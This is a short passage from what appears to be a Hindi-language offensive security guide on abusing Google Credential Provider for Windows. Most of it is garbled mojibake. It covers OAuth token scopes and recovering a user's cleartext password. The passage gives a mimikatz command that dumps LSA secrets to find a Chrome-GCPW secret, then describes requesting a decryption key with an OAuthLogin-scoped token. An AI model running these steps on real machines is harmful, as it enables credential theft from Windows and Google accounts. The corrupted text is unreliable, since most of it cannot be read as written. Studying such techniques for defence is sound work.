рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рд░рд┐рдлреНрд░реЗрд╢ рдЯреЛрдХрди рд╣реЛрдиреЗ рдХреЗ рдмрд╛рд╡рдЬреВрдж, рдЖрдк рдПрдХреНрд╕реЗрд╕ рдЯреЛрдХрди рдХреЗ рд▓рд┐рдП рдХрд┐рд╕реА рднреА рд╕реНрдХреЛрдк рдХрд╛ рдЕрдиреБрд░реЛрдз рдирд╣реАрдВ рдХрд░ рд╕рдХрддреЗ рдХреНрдпреЛрдВрдХрд┐ рдЖрдк рдХреЗрд╡рд▓ рдЙрди рд╕реНрдХреЛрдкреНрд╕ рдХрд╛ рдЕрдиреБрд░реЛрдз рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ рдЙрд╕ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рджреНрд╡рд╛рд░рд╛ рд╕рдорд░реНрдерд┐рдд рд╣реИрдВ рдЬрд╣рд╛рдВ рдЖрдк рдПрдХреНрд╕реЗрд╕ рдЯреЛрдХрди рдЙрддреНрдкрдиреНрди рдХрд░ рд░рд╣реЗ рд╣реИрдВ ред
рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рд░рд┐рдлреНрд░реЗрд╢ рдЯреЛрдХрди рд╣рд░ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдореЗрдВ рдорд╛рдиреНрдп рдирд╣реАрдВ рд╣реИред
рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ GCPW рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд░реВрдк рдореЗрдВ рд╣рд░ рд╕рдВрднрд╛рд╡рд┐рдд OAuth рд╕реНрдХреЛрдк рддрдХ рдкрд╣реБрдВрдЪ рдирд╣реАрдВ рд╣реЛрдЧреА, рдЗрд╕рд▓рд┐рдП рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╣рдо рдЙрди рд╕реНрдХреЛрдкреНрд╕ рдХреЛ рдЦреЛрдЬ рд╕рдХрддреЗ рд╣реИрдВ рдЬрд┐рдиреНрд╣реЗрдВ refresh_token
рдХреЗ рд╕рд╛рде access_token
рдЙрддреНрдкрдиреНрди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ:
GCPW - рд╕реНрдкрд╖реНрдЯ рдкрд╛рда рдкрд╛рд╕рд╡рд░реНрдб рдкреБрдирд░реНрдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛
GCPW рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ рдкрд╛рд╕рд╡рд░реНрдб рдХреЗ рд╕реНрдкрд╖реНрдЯ рдкрд╛рда рдХреЛ рдкреБрдирд░реНрдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП mimikatz рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ LSASS рд╕реЗ рдПрдиреНрдХреНрд░рд┐рдкреНрдЯреЗрдб рдкрд╛рд╕рд╡рд░реНрдб рдХреЛ рдбрдВрдк рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИ:
Copy mimikatz_trunk\x64\mimikatz.exe privilege::debug token::elevate lsadump::secrets exit
рдлрд┐рд░ рдЫрд╡рд┐ рдореЗрдВ рдХреА рддрд░рд╣ Chrome-GCPW-<sid>
рдЬреИрд╕реЗ рдЧреБрдкреНрдд рдХреЛ рдЦреЛрдЬреЗрдВ:
рдлрд┐рд░, рдПрдХ рдПрдХреНрд╕реЗрд╕ рдЯреЛрдХрди рдХреЗ рд╕рд╛рде рдЬреЛ рд╕реНрдХреЛрдк https://www.google.com/accounts/OAuthLogin
рд╣реИ, рдкрд╛рд╕рд╡рд░реНрдб рдХреЛ рдбрд┐рдХреНрд░рд┐рдкреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдирд┐рдЬреА рдХреБрдВрдЬреА рдХрд╛ рдЕрдиреБрд░реЛрдз рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИ: